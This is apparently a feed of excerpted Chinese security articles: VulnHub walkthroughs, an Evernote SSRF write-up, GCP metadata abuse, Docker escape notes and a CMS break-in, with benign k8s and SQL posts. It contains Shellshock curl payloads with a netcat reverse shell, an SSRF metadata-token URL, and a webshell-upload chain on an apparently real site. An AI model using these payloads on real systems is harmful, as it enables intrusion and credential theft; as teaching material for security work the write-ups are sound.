这里简单说下,目前微信小程序在pc端貌似已经有加密了,Mac(/Users/{系统用户名}/Library/Containers/com.tencent.xinWeChat/Data/Library/Containers/com.tencent.xinWeChat/Data/Library/Caches/com.tencent.xinWeChat/{微信版本号}/{用户ID}/WeApp/LocalCache/release/{小程序ID}/)、Windows(C:\Users\{系统用户名}\Documents\WeChat Files\Applet\{小程序ID}\),而我们这边可以去拖安卓端的小程序包,这里需要提前准备好一个已经root过的安卓手机或者是一个安卓模拟器,先去/data/data/com.tencent.mm/MicroMsg/{一串16进制字符}/appbrand/pkg 这个目录下将其他小程序包都删除掉,然后再打开微信加载我们需要测试的目标小程序,此处注意,一定要等小程序完全打开并且再点几个功能,确保将所有包都运行,由于目前的小程序体量逐渐变大,可能会有多个子包的存在。

然后将相关子包拖出来
0x02 反编译小程序拿源码
在将相关子包拖出来并放在我们指定的目录,然后用wxappUnpacker工具将包反编译出来
node wuWxapkg.js ../20220323/debug_607957350_2_511127914.wxapkg
在原本存放小程序的目录下会出现一个以小程序包名的子文件夹,反编译出来的源码就在里面。


用微信官方开发工具打开源码项目:
1、选择“导入项目”,“AppID”选择测试号并导入
2、到“本地设置”模块,勾选上“不校验合法域名”功能


0x03 寻找签名加密函数
案例背景环境
介绍一下本次示例案例的背景环境。
在这⾥通过抓包发现站点有使⽤签名来鉴定提交数据的完整性, 经⼿⼯测试
2022年4月4日 15:01火线zone
pip提权原理
在linux主机中,某个用户拥有pip的sudo权限,在这种情况下,可以利用pip install进行本地提权。
在执行pip install时会调用setup.py,可以在本地创建恶意setup.py文件来达到任意命令执行的效果。
环境搭建
攻击机kali ip:192.168.17.39
下载地址
https ://download.vulnhub.com/empire/01-Empire-Lupin-One.zip
虚拟机导入
这个靶机给了IP地址,减确定靶机目标地址的操作
nmap -A -p- 192.168.17.59
信息搜集
对于上述的robots.txt文件
这里提示的是继续尝试
目录扫描,22端口弱口令扫描都没内容,这种靶机考研字典的真的是吐了,使用的dirsearch
想到了利用默认字典,然而并没有什么卵用,这里也是在上述提示种提示使用工具进行fuzz
这种脑洞也是吐了,没什么操作难度,难为在工具之上
wfuzz -c -u 'http://192.168.17.59/~FUZZ/' -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404
http://192.168.17.59/~secret/
字母游戏么
还是爆破
然而还是没爆破出结果,这靶机太虎了,谷歌一下换个工具ffuf
ffuf -u 'http://192.168.17.59/~secret/.FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .txt -mc 200
http://192.168.39.59/~secret/.mysecret.txt
判断编码格式解码
http://www.metools.info/code/c74.html
根据提示就是私钥了,直接根据用户名私钥ssh登录
touch id_rsa
写入私钥,私钥登录
ssh -i id_rsa icex64@192.168.17.59
需要密码短语passphrase,这个时候又到了前面提示的字典文件fasttrack.txt去爆破
python /usr/share/john/ssh2john.py id_rsa >passwd.txt
将私钥id_rsa生成字典使用john去爆破
jo
2022年4月4日 00:02火线zone
0x00:起源
今天在群里批露了一个h1的报告,关于Evernote SSRF的,群里有一位师傅
在面试的时候问道SSRF如何修复,师傅回答到说ip端口白名单,协议禁用这一些,面试官回到到网络上的资料都这么写,但实际生产中是基本无效的。这顿时我就来了兴趣,最近在因为要暑期实习在背八股文,我恰好也背了SSRF的修复措施,和师傅答的不能说一模一样,但也基本一致。
报告上的修复方案提到
by deploying a metadata concealment proxy to disable access to metadata information. We also disabled access to internal IPs on all infrastructure subsets
让我们回到neolex的博客,看更多的细节

对rul中的编码解码:
L2Y2Y2RkNGJkZmE0YzFiODZmNDQxYzdjMjlmMDcyZTUxMWRkMzQ1MDEuY3Nz
得到:
/f6cdd4bdfa4c1b86f441c7c29f072e511dd34501.css
而f6cdd4bdfa4c1b86f441c7c29f072e511ddd34501.css的内容显示在响应中,这个时候推断SSRF!
经过一段时间的尝试,neolex师傅了解到 url/filepath 必须要以 .css 或 .js 结尾的白名单
最终编码成这样去访问:
https://www.evernote.com/ro/aHR0cDovL21ldGFkYXRhLmdvb2dsZS5pbnRlcm5hbC9jb21wdXRlTWV0YWRhdGEvdjFiZXRhMS9pbnN0YW5jZS9zZXJ2aWNlLWFjY291bnRzL2RlZmF1bHQvdG4305ZW48Lmp.js/
Base64解码后的样子(注意这里的#.js):
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token#.js#.js
服务器不会对其进行解释,但允许添加扩展,最终通过#.js 绕过了白名单
{"access_token":"ya29.c.Ko4B_gd-ROPkMva4XDYr-U2r-G_KMv8hy6ViP1
2022年4月3日 20:32火线zone
初步认知
什么是信息搜集?答:信息搜集分为主动信息搜集和被动信息搜集


主动信息搜集是与标主机进行点接交互,从币拿到我们的目标信息,而被动信息搜集恰恰与主动信息搜集相反,不与目标主机进行直按交互,通过搜索引擎或者社交等方式间接的获取目标主机的信息。当我们拿到一个标进行渗透测试的时候,我们关注目标主机的whois信息,子域名,目标IP,旁站C段查询,邮箱搜集,CMS类型,敏感目录,端口信息,服务器与中问件信息,其他(防火墙)
分类解析
Whois信息()
有的域名会有隐私保护
whios信息可以获取关键注册人的信息,包括注册公司、注册邮箱、管理员箱、管理员联系手机等对后期社工很有用。同时该工具还可以查询同一注册人注册的具他的域名,域名对应的NS记录、MX录,自动识别国内常见的托管商(万网、新网等)。常用的工貝有: chinaz kali下的wns命令。
备案号查询:http://www.beianbeian.com
子域名
1.搜索引擎
2.子域名挖掘机 Layer
3.https://phpinfo.me/domain/(phpinfo包含)
4.subDomainsBrute
5.穷举爆破
目标IP
- 没加CDN的网站只需要: ping ww.chabug.org就行了
- 加了CDN:
二级域名法 https:// github.com/boy-hack/w8fuckcdn
域名历史解析 https://x.threatbook.cn/
绕过CDN:
https://www.cnblogs.com/qiudabai/p/9763739.html
https://www.cnblogs.com/xiaozi/p/12963549.html
https://blog.csdn.net/aq_36119192/article/details/89151336
旁站C段
旁站是和目标网站在同一合服务器上的其它的网站,如果从目标站本身找不到好的入手点,这时如果想快速拿下目标的话。一般都会先找个目标站点所在服务器上其他的比较好搞的站下手,然后再想办法跨到真正目标的站点目录中。C段是和目标机器IP处在同一个C段的其它机器通过目标C段的其他任一台机器,想办法跨到我们的目标机上。
邮箱
首先确定目标的邮件服务器所在的真实位置,看看邮件服务器自身有没有什么错误配置。比如:有没有禁用VREY或者EXPN命令导致用户信息泄。然后
2022年4月2日 18:02火线zone
前提概要
靶场地址:https://www.vulnhub.com/entry/driftingblues-1,625/,是一个极其简单的靶场,需要具备以下前置知识:
基础的Linux命令及操作
基础的渗透测试工具使用(Kali / nmap下的工具)
信息收集
arp-scan 192.168.132.0/24
之前都是扫出目标后就之间nmap一把梭
后面了解到这样容易暴露目标
所以我们一步一步来
#先扫端口 nmap -p- 192.168.132.158 #扫出来端口再扫描相关服务版本 nmap -sV -A -p- -T4 192.168.132.158
既然开启了80端口HTTP服务那必须访问一波web页面寻找有用信息
扫了一遍web页面发现俩个邮箱,后面应该有用
sheryl@driftingblues.box 和 eric@driftingblues.box
密码破解
再审查一下页面源代码(第一次审查源代码,之前打DC系列的时候都没有思考过)
在源代码处发现一串加密码
拿去解密,是base64加密
L25vdGVmb3JraW5nZmlzaC50eHQ= #解密得 /noteforkingfish.txt
去访问解密出来得文件
显示出来文本全是Ook,百度解密
找到一个解密Ook的在线网站:https://www.splitbrain.org/services/ook
解密出来一段话+署名:eric
根据文本内容,how to use host file to reach.....
猜测到要修改本地host文件
(参考DC靶机系列:DC-6)
结合之前发现的俩个邮箱
vim /etc/hosts #加入IP和域名 192.168.132.158 driftingblues.box
目录扫描
使用gobuster来暴力扫描一下
gobuster vhost -u driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
扫出来test.driftingblues.box,访问状态码为200
重新修改/etc/hosts
将之前添加的改为192.168.190.162 test.driftingblues.box
再访问test.driftingblues.box
访问成功!!!
dirb进行web目
2022年4月2日 18:02火线zone
hacksudo -Thor靶场实战详解
靶机下载链接:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
0x01 网络配置
这里简单介绍下我的网络配置,我这里用的是Vmware kali 和 virtual box 的靶机
vmware kali 配置了两块网卡 :

靶机网络配置:
0x02信息搜集
首先使用下面这条命令来发现靶机的ip地址
arp-scan -l -I eth1
到这里我们知道了靶机的ip:192.168.27.5 顺便讲一下kali的ip:192.168.27.2
接下来我们开始使用nmap来扫描靶机开放的端口和服务
nmap 192.168.27.5
我们通过上图可以发现只开放了 22端口的ssh服务和80端口的http服务,所以接下来我们通过浏览器去访问8端口的http服务看是否能有所发现
经过访问发现,只有一个登录框可能会存在入手点,其他地方不存在什么问题,于是在对登录框尝试万能密码登录和暴力破解均失败后,我开始使用dirseach来进行目录和文件扫描
通过上图我们发现了一个cgi-bin的目录,接下来针对该目录再次进行目录和文件扫描
dirsearch -u http://192.168.27.5/cgi-bin/ -f -e cgi,sh
0x03漏洞发现及利用
通过对cgi-bin目录的扫描,我发现了shell.sh 和 backup.cgi这两个文件,由于之前了解过破壳漏洞的相关知识,所以我猜测这里可能会存在破壳漏洞,没有了解过破壳漏洞的师傅可以在我文末给出的文章链接中学习一下破壳漏洞的相关知识。
为了测试破壳漏洞是否存在,我构造了payload尝试执行命令
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.27.5/cgi-bin/shell.sh
通过上图可知,靶机正常执行了我们的命令并返回了结果,并且我们知道了该靶机上存在nc,所以我们可以利用破壳漏洞进行反弹shell
首先在kali上监听4444端口
nc -lvnp 4444
然后在kali上执行下面的payload用于触发破壳漏洞从而执行反弹shell的命令
curl -H "user-agent: () { :; }; echo
2022年4月2日 16:02火线zone
给大家分享的内容分为三个部分
第一个是在安全行业,开源产品的简单概况,包括一些国外的开源的产品,以及国内整个安全行业的开源和国外有什么不一样的点。
第二个是为大家分享一下洞态IAST整个开源的过程,从开源到现在经历的事情。如果说有小伙伴想在安全行业里面做开源产品的话,还是有很重要的参考价值。
第三个是商业化,现在大家去聊开源,我觉得很大一部分人都是按照自己的情怀去想、去做的,在安全领域或者在开源领域发出自己的声音,但是对于一个商业公司来说,开源产品的商业化其实是绕不过去的一个点,在这个部分会给大家分享我们在商业化上面的一些思考以及洞态IAST在商业化的想法。


从目前来看,安全领域的开源项目相比于非安全领域是比较少的,像WAF、漏扫工具,虽然国内国外还是有很多的,但是相比于一些非安全项目,像数据库、中间件、云原生等,安全领域开源的项目数量是相对比较少,像国外比较有名的ModSecurity,国内的蜜罐HFish,包括我们今天会为大家分享的洞态IAST,其实都属于比较典型的开源产品。
国外的开源产品从产品的完整度、产品的生态来说,比国内要强很多,国内还是处在一个相对来说比较早期的阶段。
国内外的整个氛围差距是比较大的,国内对于一些防守型的产品来说还好,对于一些攻击型的,因为国内一些法律上的问题,在开源数据、把代码完全开放出去是有法律风险的。
国内的安全产品更多的市场其实是面向于大的客户,可能是政府或者说一些大的央企等传统客户,即便是防守方的一些安全产品去开放,对于自己的客户来说,其实也会有比较大的心理负担,毕竟代码都是开放的,这种防守能力怎么去保证?
国内有一个和国外有比较中间态的一种状态,会在github放出自己免费版的产品,但是代码不开源,一个比较重要的原因是,大家对版权的保护意识并没有那么强,今年有几个事件会把这个事情往前推一步。
第一个是国内最近宣布了GPL协议的一个判罚,以后大家再去用开源软件的时候,如果不遵守开源协议,我直接去copy过来,直接就去改,如果说走到法院里面去起诉,大概率是会按照GPL开源协议去做判罚。
另外一个比较重要的一个事件,前段时间SkyWalking开源的代码被一家公司的员工拿去当自己的OKR的目标,改了改直接就去上线,甚至说重新发版,其实炒的是比较热的。
这些事件都标志国内整个的开源氛围慢慢变好,但是之前环境并不是特别好,所以就会出现很多中间态,比如说Goby、xray,大家最
2022年4月2日 12:02火线zone
eBPF 完全入门指南.pdf(万字长文)
https://mp.weixin.qq.com/s/zCjk5WmnwLD0J3J9gC4e0Q
图菱科技 SaaS 系统容器化最佳实践
https://mp.weixin.qq.com/s/9W-2tza92QZRRB_2fct--A
云原生服务风险测绘分析(二): Harbor
https://mp.weixin.qq.com/s/07kVC6BW-jzrl05pwvx0DA
Kubernetes 是如何控制并发和资源变更的呢?
https://mp.weixin.qq.com/s/pLmKnu-PY6hdcO7qmdvb5A
Volcano:在离线作业混部管理平台,实现智能资源管理和作业调度
https://mp.weixin.qq.com/s/fTjKTDo_B81WbrkjDMYG2w
开源正在被武器化,如何降低风险?
https://www.jetstack.io/blog/weaponised-oss/
Aqua Security 如何在 2022 年接近 DevSecOps
https://opensource.com/article/22/3/aqua-security-devsecops
为什么 DevOps 管道受到攻击以及如何反击
https://www.csoonline.com/article/3649798/why-devops-pipelines-are-under-attack-and-how-to-fight-back.html
2022年4月1日 19:31火线zone
0x01、初始访问
1、元数据
每个虚拟机 (VM) 实例都将其元数据存储在元数据服务器上。您的虚拟机可自动获得对元数据服务器 API 的访问权限,而无需任何额外的授权。
查询元数据服务器的内容,您可以从虚拟机实例中向以下根网址发出请求。请使用
http://metadata.google.internal/computeMetadata/v1/ 网址向元数据服务器发出请求。
Google 为其 API 端点实施了一些额外的安全措施——查询 Google Cloud Metadata APIv1 需要特殊的标头:Metadata-Flavor: Google
> attributes/ metadata创建或更新 VM 时在字段中传递的用户定义元数据。 > attributes/ssh-keys metadata通过值在字段中创建 VM 期间传递的公共 SSH 密钥列表ssh-keys。 > description 创建或更新 VM 时传递的文本描述。 > disks/ 连接到 VM 的磁盘。 > hostname 分配给 VM 的限定域名 > id 虚拟机的 ID。ID 在创建 VM 时自动生成,并且在 Yandex Cloud 中是唯一的。 > name 创建或更新 VM 时传递的名称。 > networkInterfaces/ 连接到 VM 的网络接口。 > service-accounts 链接到 VM 的服务账户 > service-accounts/default/token 关联服务账户的IAM令牌
2、凭证泄露
服务帐号密钥可能无意中进入不应存储的位置。不法分子可能会使用泄露的服务帐号密钥在您的环境中进行身份验证
可能会存在服务帐号密钥的位置,包括:开源项目的源代码库、公共 Cloud Storage 存储桶、遭破解服务的公共数据转储、电子邮件收件箱、文件共享、备份存储、临时文件系统目录
如果找到这些文件之一,可以通过gcloud命令使用此服务帐户重新进行身份验证。
0x02、命令执行
1、接管项目
当找到权限大得凭证时,可以通过gcloud命令使用此服务帐户重新进行身份验证。
gcloud auth activate-service-account --key-file [FILE]
输出项目的IAM策略
gcloud projects get-iam-policy example-projec
2022年4月1日 16:01火线zone
一、数据库的介绍
1.1 目前市场上的数据库种类
MYSQL:开源免费的数据库,小型的数据库,已经被Oracle收购了。MYSQL6.x版本也开费;
Orcale:收费的大型数据库,Orcale公司的产品。Oracle收购SUN公司,收购了MYSQL。
DB2:IBM公司的数据库产品,收费的。常应用与银行系统中。
SQLServer:微软公司收费的中型的数据库。C#、.net等语言常使用。
SyBase:已经逐渐退出历史舞台。
SQLite:嵌入式的小型数据库,应用于手机端。
常用的数据库:MYSQL、Orcale
1.2 数据库的基本概念
数据库的英语单词:DataBase,简称DB;
数据的作用:用于存储和管理数据的仓库;
数据库的特点:
持久化存储数据。其实数据库就是一个文件系统;
方便存储和管理数据;
使用了统一个方式操作数据库;
1.3 数据的启动、关闭、登录、退出
数据库的打开关闭
使用管理员权限打开cmd
net start mysql:开启mysql的服务;
net stop mysql:关闭mysql服务;
mysql的登录:
(1)mysql -u数据库名称 -p数据库密码;(连接的是自己本机的数据库);
(2)mysql -u数据库名称 -p 【回车】,输入密码(连接的是自己本机的数据库);
(3)mysql -u数据库名称 -h【目标ip】 -p目标的密码(连接的是别人的数据库)
mysql的退出:
exit
quit
二、SQL
2.1 什么是SQL
SQL:结构化查询语言;
2.1.1 数据类型
timestamp:时间错类型,包含年月日时分秒 ;yyyy-MM-dd HH:mm:ss;
如果将来不给这个字段赋值,或者赋值为null,则默认使用当前的系统时间,来自动赋值;
2.2 SQL通用语法
2.2.1 书写格式
SQL语句可以单行或者多行书写,用分号结尾;
可以使用空格和缩进来增强语句的可读性;
MySQl数据库的SQL语句不区分大小写。
2.2.2 SQL的注释
单行注释:
--【空格】注释内容;
#注释内容;
多行注释:和C语言一样;
2.3 SQL的分类
2.3.1 DDL数据定义语言
用来定义数据库对象:数据库、表、列等;
关键字:create、drop、alter等;
2.3.2 DML数据操作语言
用来对数据库中的表的数据进行增删改。
关键字:insert、delet
2022年4月1日 15:01火线zone
火线2周年福利|吉祥物首发送送送!
2022年4月1日 14:31火线zone
病毒分析
火绒剑:https://www.huorong.cn PCHunter:http://www.xuetr.com OTL:https://www.bleepingcomputer.com/download/otl/ processhacker:https://processhacker.sourceforge.io/downloads.php autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
病毒查杀
火绒安全软件:https://www.huorong.cn 360杀毒:http://sd.360.cn/download_center.html 大蜘蛛:http://free.drweb.ru/download+cureit+free //扫描快、一次下载只能用1周 卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe 绿色版、最新病毒库
病毒动态
爱毒霸社区:http://bbs.duba.net 360安全大脑:https://sc.360.net 奇安信威胁情报中心:https://ti.qianxin.com 微步在线威胁情报社区:https://x.threatbook.cn 火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn 深信服威胁情报中心:https://ti.sangfor.com.cn/analysis-platform
病毒扫描在线
https://habo.qq.com //腾讯哈勃分析系统 http://www.virscan.org //多引擎在线病毒扫描网 http://www.scanvir.com //针对计算机病毒、手机病毒、可疑文件等进行检测分析 https://s.threatbook.cn //微步在线文件扫描 https://virusscan.jotti.or
2022年4月1日 12:31火线zone
前言:Hello,各位师傅们好,本文记录一个菜鸡对某企业SRC任意用户注册漏洞挖掘的一些思路和总结。所用的并非是所有方法,漏洞挖掘也涵盖运气概率特别是逻辑漏洞千变万化。如有错误,麻烦大佬们指出!请各位大佬勿喷。谢谢师傅们!
正文:
常规思路、信息收集。找到某网站注册功能点。使用手机邮箱为xxxxxxxxx,填写9xxxxxx.com,其他信息随意填写,单击获取动态码,会向发送验证码信息。

随后利用bp工具或者fd工具进行数据包抓取,点击获取验证码,数据包如下(图片翻找的报告记录 数据包截图不全!大概就是数据包含有手机号参数和邮箱参数)

发送数据包,随后进行分析,这时候查看邮箱验证码 ,发现手机号验证码短信和邮箱验证码一致
攻击大致思路:注册邮箱填写可以登录的邮箱即可(推荐小号邮箱),注册的手机号填写其他用户的手机号。即可代替其他用户进行手机号进行注册,手机号和邮箱同时收到验证码 且验证码一样 !任意用户注册成功!由此验证码机制存在逻辑缺陷。
由此我们挖掘漏洞时应仔细观察每一个功能点。


此时漏洞成因(菜鸡表达能力有限):
厂商会同时向邮箱和手机号发送验证码 验证码一致 导致任意用户注册 这时把手机号换成受害者的就可 邮箱填写自己的 等于自己的验证码也是受害者的验证码。
随后填写验证码注册成功 截图如下

哇 任意用户注册成功!(超危超危起步好吧 !!! 😃 )
明文传输(超危)、TOMCAT示例文件泄露(超危)、未添加验证码(超危)、路径泄露(超危)、内网ip泄露(超危)无奈本人没文化,一句卧槽行天下!!!(文章娱乐需要,请勿引战)
任意用户注册成功!随后我怀着中彩票的心情的写着报告,进行漏洞的提交。这时、这时、这时审核师傅发来信息说无危害,此时我的心情...(也可能是菜鸡表达不清太笨,是不是我太笨,我们(漏洞)终究还是错过了......漏洞通过你的理想,我的梦)


随后立马放下手中的事情立马进行复测 准备再次提交(心里想着......万一漏洞突然修了,菜鸡的到手的奶茶钱就飞出去西天取经了。从小的我妈妈就告诉我 穷人的孩子早当家!)



复现成功,心想漏洞还存在 。

随后我立即和SRC平台的审核师傅进行沟通:

漏洞最后还是通过了(又可以不去工地搬砖了......) 感谢亲爱的审核师傅

评分:中危 奖励:1000,菜鸡也终于找回一点自信,如果拒绝那菜鸡就真的emo了......


随后就不往下深入
2022年4月1日 12:31火线zone
自己是网安行业的小菜鸡,就自己对于相关行业的所见所闻斗胆写出这样的文章,希望各位大佬多多指教,多多批评。
近年来随着我国对于黑灰产行业的打击,以及各大公司对于网络安全的重视,黑灰产业逐渐暴露在我们的视野中。
所谓网络黑灰产,是指网络黑色、灰色两条产业链,包括电信诈骗、钓鱼网站、木马病毒、黑客勒索等利用网络开展违法犯罪活动的行为。稍有不同的是,“黑产”指的是直接触犯国家法律的网络犯罪,2015年,国家互联网应急中心对“黑产”的范围进行了界定,包括三类:一是发动涉嫌拒绝服务式攻击的黑客团伙,二是盗取个人信息和财产账号的盗号团伙,三是针对金融、政府类网站的仿冒制作团伙,业内分别称之为“黑客攻击”“盗取账号”“钓鱼网站”,这些都是人们已经非常熟悉的典型网络违法犯罪行为。而“ 灰产”主要是指处于法律灰色地带的“恶意注册和虚假认证”等行为,这些行为游走在法律边缘,往往为“黑产”提供辅助。经过多年的“猥琐发育”,网络黑灰产已经形成了一个平台化、专业化、精细化、相互独立、紧密协作的产业链。
根据相关数据显示,从事黑色产业链人员数量已经达到百万级别,年产值已达千亿,当然这只是我们能粗略估计的数值,现实中无论是从经济层面还是从社会影响面来说,黑产带来的危害远不止于此。
在与黑产对抗的过程中,我们也发现无论是其行业规模还是攻击手法上来说都在不断地增大增强,这就给我们很多从事业务安全的同事带来了很大的压力。黑灰产行业本身具有隐蔽,成本低,利益大的一些特点,这就导致了很多不法分子选择从事。从刚开始的”肉鸡“到现在的“真鸡”,从一开始的个人到现在的集团作恶,从不成熟的薅羊毛利益到如今庞大的市场需求。尽管现在公司已经开始弥补网络安全,风控的一些缺口,但是黑灰产攻击事件还是层出不穷。
举些有趣的案例来说
抖音相信大家都不陌生,但是在这样泛娱乐化的市场中,仍然有黑产的影子。根据抖音的大数据推送,每天几乎会收到同样类别的短视频,其中喜欢看妹子的汉子就要注意了,特别是陌生人私信,因为和你聊的不一定就是妹子,有可能是一群汉子,毕竟男人更懂男人。他们会更新自己的视频,还有一些会以黄瓜,茄子等作为暗示,在上面写一些暧昧的文字,以达到伪装引流的效果,接下来从关注自己的粉丝,作品的评论以及个人的私信中选取一些“心仪猪”(大龄,单身,男),进行下一步的精准养猪行为,说到这里大家应该会想起来杀猪盘,其实这就是杀猪盘比较新的养猪方式。抖音风控对于这种行为已经进行第三
2022年4月1日 12:31火线zone
在一次项目的渗透过程中,目标是一个门户网站。
首先使用云悉识别到该网站使用的是海纳CMS(HituxCMS)
该CMS的数据库默认存放的位置为:Data21293/NYIKUGY5434231.mdb
尝试拼接访问如http://xxxx.com/Data21293/NYIKUGY5434231.mdb
说明该数据库存在,可下载到本地。

本地查看下载到的数据库,在web_admin表中查看到后台管理员admin的密码md5值,解密得到密码明文。

该CMS的默认后台路径为AdminBeat/login.asp
使用从数据库中获取到的admin账号密码,登录到后台。
在“数据管理”-》“内容管理”-》“备份数据库”下,先进行一次正常的备份,抓包。

抓取的数据包如下:

接着在“文章管理”-》“内容管理”处新增一文章,选择一句话图片木马进行上传,点击“提交”。

这里上传后的文件名为:20218251803.jpg,但目前还不清楚该图片的绝对路径,于是接下来尝试查找上传图片的绝对路径。
文章在前台展示:http://xxxx.com/news_show.asp?t=331&id=1136(其中id值可以通过后台的文章编号查看)

但是通过查看前端展示的文章,并没有找到刚上传的图片地址。
于是尝试通过找别的文章上的图片地址,找到了一个图片的存放地址为http://xxxx.com/images/up_images/XXXXX254.jpg,猜测图片地址存放的目录为/images/up_images/

于是拼接刚上传的图片木马地址访问:http://xxxx.com/images/up_images/20218251803.jpg
查看到刚上传的图片,说明这就是图片存放的地址。

接着,在上面抓取的数据库备份的请求包中修改OldData参数为上传图片的路径地址,NewData参数为备份的文件名及路径如../404.cer,后缀修改为cer,发送。

访问刚备份的含asp一句话图片木马文件http://xxxx.com/404.cer,说明已上传成功。

连接木马获取网站权限:http://xxxx.com/404.cer
2022年4月1日 12:01火线zone
在 KubeSphere 上使用极狐GitLab 搭建 DevOps 环境
https://mp.weixin.qq.com/s/cWhQpWcW-zHi2Fxrz0r_WA
【安全风险通告】Linux Kernel本地权限升级漏洞安全风险通告
https://mp.weixin.qq.com/s/BIq4hHU7cCBrl6oe6oQP6g
招商银行 KubeVela 离线部署实践
https://mp.weixin.qq.com/s/FU0pJj-ThaCYNjO3fznp9Q
风险最高的10种AWS配置错误
https://mp.weixin.qq.com/s/quIpapbkFNay0JtUK4wODQ
硬核调试实操 | 手把手带你实现 Serverless 断点调试
https://mp.weixin.qq.com/s/H51oUk3XU0biW5uK7OrxLg
[Kubernetes] 攻击(第 1 部分)- 发现和初始访问
https://medium.com/swlh/kubernetes-attack-path-part-1-discovery-initial-access-771365e21b58
[Kubernetes] 攻击(第 2 部分)- 初始访问后
https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d
企业级云原生应用交付及管理系列 - Helm 调试及维护 (二)
https://mp.weixin.qq.com/s/cjHaCSS9kCrcq9KVIFEwvw
2022年4月1日 10:31火线zone
Docker实现原理学习笔记
前言
用了这么久的docker,对docker的实现原理挺感兴趣的,在对Linux下docker的实现原理了解之后,我没有用过Windows下的docker,更加好奇Windows下的docker是如何实现的(它并不开源),问了问owefsad师傅,说是可能用到了hyperV,那么可能类似Vmware吗?不知道啊。
另外说一下,其实这篇文章大部分都是cv的,算是一个知识整合加上个人的理解,我每看的一篇文章,都放在了最后的
一、Linux NameSpace
1、什么是Linux NameSpace
Linux Namespace是Linux提供的一种内核级别环境隔离的方法。从Unix开始,有一个chroot命令,
chroot
change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以 `/`,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为 `/` 位置。
也就是说,原先我们的root目录在/,那么我们在tmp目录使用chroot后,那么我们的/目录就在tmp/下,在docker中有一种逃逸方式,在docker启动的时候,挂在宿主机的根目录,假设,启动时,把宿主机的根目录挂载在了docker中的/UzJu/目录
docker run -it -v /:/uzju/ ubuntu:18.04
那么此时,我们进入到docker中,使用chroot,将根目录切换至/UzJu/目录下
chroot /uzju/
此时我们就可以使用crontab等多种方式获取宿主机权限

那么chroot提供的就是一种简单的隔离环境,chroot内部的内容无法访问外部的,Linux NameSpace在这个基础上,又提供了对以下内容的隔离机制
UTS
IPC
mount
PID
network
User
| Mount namespaces | CLONE_NEWNS | Linux内核2.4.19 |
| ---------------------- | -------------- | ------------------------- |
| UTS Namespaces | CLONE_NEWUTS | Linux内核2.6.19 |
| IPC NameSpaces | CLONE_NEWIP
2022年3月31日 19:31火线zone
今天分享的主题是开源软件漏洞挖掘实践,主要讲对于企业项目、开源项目审计的认识以及做代码审计的经验。

关于我在代码安全这一块的经历,主要分为三个阶段。

阶段一,主要挖PHP写的内容管理系统的一些漏洞,作为我刚入门的一个阶段;
阶段二,是在百度云计算网络等业务线的安全评估,里面也会涉及到一些代码审计相关的东西;
阶段三,目前在火线安全做云原生相关的安全研究。

第二部分:介绍一下开源软件安全评估的一些手段,主要是两个自动化相关的手段。

目前可以看到市面上的很多开源软件都集成了fuzz功能,可以大概理解成我们给程序随机的数据,然后去看这个程序有没有崩溃,如果程序崩溃,它就可能存在比如IP指针被覆盖的安全问题,然后研究人员根据这些崩溃的案例去进一步的看有没有安全漏洞。
这些开源软件怎么集成fuzz,举一个例子就是CPython的一个项目,就像上面PPT画的。CPython下面有一个目录,这个目录的文件里面有类似单元测试的代码,它会去调用那个CPython的已实现的API接口,想去测试这些API接口,单元测试会被fuzz工具自动化的去看这些API有没有安全漏洞。
从公开的一些报道来看的话,现在国内也有一些厂商,比如说腾讯,是已经这个fuzz集成到他们的流程里。

第二点,开源软件有很多借助静态代码扫描的手段去自动化检测漏洞。在安全里面最出名的自动化的静态扫描工具应该是Code QL。
比如说PPT右边展示的这个配置文件,他们做了一些配置,然后github就会根据这个配置去对仓库做一个漏洞扫描,扫描结果也可以在github上看到,就像左边的这四个漏洞,他标记的都是高风险类型。
开源软件作者或者安全研究者,可以借助这些工具来保证软件的安全性和漏洞挖掘。
第三点,想分享一下之前在企业里面做代码审计的经验。我在没有去百度做代码审计和安全评估之前,我以为企业的代码审计可能跟开源的代码审计差不多,主要就是看看代码挖漏洞这种,但实际上不是这样。

实际上企业里代码审计跟开源的目标不一样,企业里面代码审计的目标主要是为了防守、降低漏洞代码带来的安全风险。目标是挖掘和修复所有漏洞,并且覆盖到所有对外的线上业务。基于这个目标的话,工作内容就会发生变化。
跟开源软件相比,就不会太注重那个漏洞分析这一块儿。举个例子,比如我们做SDL时需要去分析fastjson漏洞的原理、各种利用链是怎么回事吗?就我的工作经历来看的话,其实是不太需要的。为什
2022年3月31日 17:01火线zone
在k8s集群中部署应用
kubectl run 直接部署pod
kubectl run testapp --image=ccr.ccs.tencentyun.com/k8s-tutorial/test-k8s:v1
可以看到pod创建成功:
通过yaml文件创建pod
pod.yaml
apiVersion: v1 kind: Pod metadata: name: test-pod spec: # 定义容器,可以多个 containers: - name: test-k8s # 容器名字 image: ccr.ccs.tencentyun.com/k8s-tutorial/test-k8s:v1 # 镜像
kind表示这是一个Pod;
metadata中的name定义了这个pod的名字;
spec中的containers中可定义多个容器,容器名字和容器镜像地址;
kubectl apply -f pod.yaml
运行这个文件:
通过yaml文件创建deployment
在集群里面需要运行很多pod,可以运行一个Deployment:
app.yaml:
apiVersion: apps/v1 kind: Deployment metadata: # 部署名字 name: test-k8s spec: replicas: 2 # 用来查找关联的 Pod,所有标签都匹配才行 selector: matchLabels: app: test-k8s # 定义 Pod 相关数据 template: metadata: labels: app: test-k8s spec: # 定义容器,可以多个 containers: - name: test-k8s # 容器名字 image: ccr.ccs.tencentyun.com/k8s-tutorial/test-k8s:v1 # 镜像
spec的replicas为该deployment中运行的pod数量;
deployment通过标签label来关联创建的若干个pod,label是一个key:value的值,如上面的app: test-k8s;
spec-template中定义容器,容器中的metadata-labels定义一个与deployment一样的标签,用来与该deployment进行关联;
